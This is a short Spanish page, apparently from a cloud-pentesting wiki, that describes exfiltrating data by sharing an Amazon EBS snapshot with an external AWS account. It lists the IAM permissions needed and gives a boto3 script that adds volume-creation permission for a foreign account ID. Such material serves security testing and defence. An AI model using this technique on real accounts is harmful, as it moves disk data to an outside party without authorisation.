Exfiltracion de datos utilizando un Snapshots de EBS

Para modificar los permisos y compartir un snapshot de Amazon Elastic Block Store (EBS) con una cuenta externa de AWS, un usuario de IAM necesita permisos específicos dentro de Amazon EC2. Estos permisos permitirán al usuario cambiar quién puede crear volúmenes a partir de ese snapshot. A continuación, se detallan los permisos necesarios y se proporciona un ejemplo de código mejorado para ilustrar este proceso, seguido de la explicación de los permisos requeridos.

Permisos Requeridos

Para compartir un snapshot de EBS con una cuenta externa, se requieren los siguientes permisos:

  • ec2:ModifySnapshotAttribute: Este permiso permite al usuario modificar atributos de un snapshot de EBS, específicamente, los permisos para crear volúmenes, lo que controla qué cuentas de AWS pueden usar el snapshot para crear nuevos volúmenes de EBS.

  • ec2:DescribeSnapshots: Aunque este permiso no es necesario para modificar directamente los atributos del snapshot, permite al usuario obtener detalles sobre los snapshots de EBS antes de realizar cualquier cambio.

import boto3

# Crear un cliente de EC2
ec2_client = boto3.client('ec2')

# Definir el ID del snapshot
snapshot_id = 'snap-01234567890abcdef'

# Definir el ID de la cuenta AWS con la que compartir el snapshot
account_id = '012345678901'

# Compartir el snapshot con la cuenta AWS externa
ec2_client.modify_snapshot_attribute(
    SnapshotId=snapshot_id,
    Attribute='createVolumePermission',
    CreateVolumePermission={
        'Add': [{'UserId': account_id}]
    }
)

Última actualización

¿Te fue útil?